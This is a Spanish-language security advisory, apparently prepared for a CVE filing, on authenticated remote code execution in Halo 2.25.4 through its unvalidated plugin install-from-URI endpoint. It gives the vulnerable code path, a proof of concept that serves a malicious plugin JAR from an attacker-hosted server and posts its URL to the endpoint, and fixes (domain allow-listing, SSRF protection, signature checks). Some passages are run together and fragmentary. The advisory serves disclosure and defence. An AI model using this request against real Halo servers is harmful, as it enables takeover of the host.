
Demuestra una vulnerabilidad de ejecución remota de código autenticada en Halo 2.25.4 mediante la instalación de URI de complementos no validados, incluyendo análisis técnico y exploit de prueba de concepto.
Se ha identificado una vulnerabilidad de seguridad crítica en la versión 2.25.4 de Halo. La aplicación proporciona un endpoint administrativo para instalar o actualizar plugins desde una URI remota. Sin embargo, el sistema no valida el dominio de origen de la URI y carece de protecciones contra Server-Side Request Forgery (SSRF) en este componente específico. Un atacante autenticado con privilegios de gestión de plugins puede proporcionar un enlace a un archivo JAR de plugin manipulado maliciosamente. El servidor descargará, almacenará temporalmente y cargará dinámicamente el archivo JAR en el contexto de la JVM utilizando el framework PF4J y el DefaultPluginApplicationContextFactory de Spring. Esto permite la ejecución de clases de extensión no confiables, resultando en Ejecución Remota de Código (RCE) arbitraria en el sistema operativo subyacente del host.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)Separe con comas al enviar al formulario CVE:
Plaintext
PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
Un administrador autenticado puede enviar una solicitud HTTP POST manipulada que contenga una URL maliciosa de un plugin JAR remoto al endpoint /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri.
La ejecución remota de código ocurre mediante la siguiente secuencia de operaciones:
PluginEndpoint.installFromUri() procesa el cuerpo de la solicitud entrante (InstallFromUriRequest) y extrae la cadena uri proporcionada por el usuario. No se aplica ningún filtro de lista blanca de dominios.DefaultReactiveUrlDataBufferFetcher.fetch(uri). A diferencia de otros componentes de red internos en Halo, este fetcher no invoca HttpSecurityUtils.secureHttpClient(), omitiendo las restricciones de IP de red privada/loopback (protección SSRF).writeToTempFile(content).pluginService.install(path), que utiliza el JarPluginLoader de PF4J para desempaquetar y cargar el archivo JAR.DefaultPluginApplicationContextFactory de Spring analiza automáticamente los metadatos dentro del plugin.yaml del plugin y registra todas las clases de extensión declaradas en el contexto de la aplicación como Beans Activos de Spring.static {}) o bloques de métodos anotados con @PostConstruct se ejecutará inmediatamente durante la creación de la instancia mediante Runtime.getRuntime().exec().PluginEndpoint.java líneas 422-428):Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // Búsqueda de red no validada
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
El atacante compila un archivo JAR de plugin estándar PF4J/Halo (poc-plugin.jar) que contiene una clase de extensión con un mecanismo de ejecución de payload dentro de un hook de ciclo de vida @PostConstruct o un bloque estático. El atacante lo aloja en un listener externo:
Bash
python3 -m http.server 9999
El usuario administrativo autenticado envía la siguiente solicitud HTTP al servidor Halo objetivo:
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json
{
"uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}
El servidor procesa la instalación, obtiene el artefacto del servidor del atacante, registra la extensión y ejecuta el comando del sistema compilado, comprometiendo el host objetivo.


application.yaml) y archivos almacenados.uri entrante. Restrinja los esquemas de instalación remota a mercados oficiales verificados y confiables del ecosistema (por ejemplo, https://awesome.halo.run).DefaultReactiveUrlDataBufferFetcher para utilizar la utilidad existente HttpSecurityUtils.secureHttpClient() y descartar solicitudes que apunten a loopback (127.0.0.1), link-local (169.254.169.254) o redes de clase privada (10.0.0.0/8, 192.168.0.0/16).JarPluginLoader debe validar los hashes de archivos o firmas criptográficas contra claves públicas proporcionadas por el repositorio oficial antes de pasarlos al DefaultPluginApplicationContextFactory para la instanciación del contexto.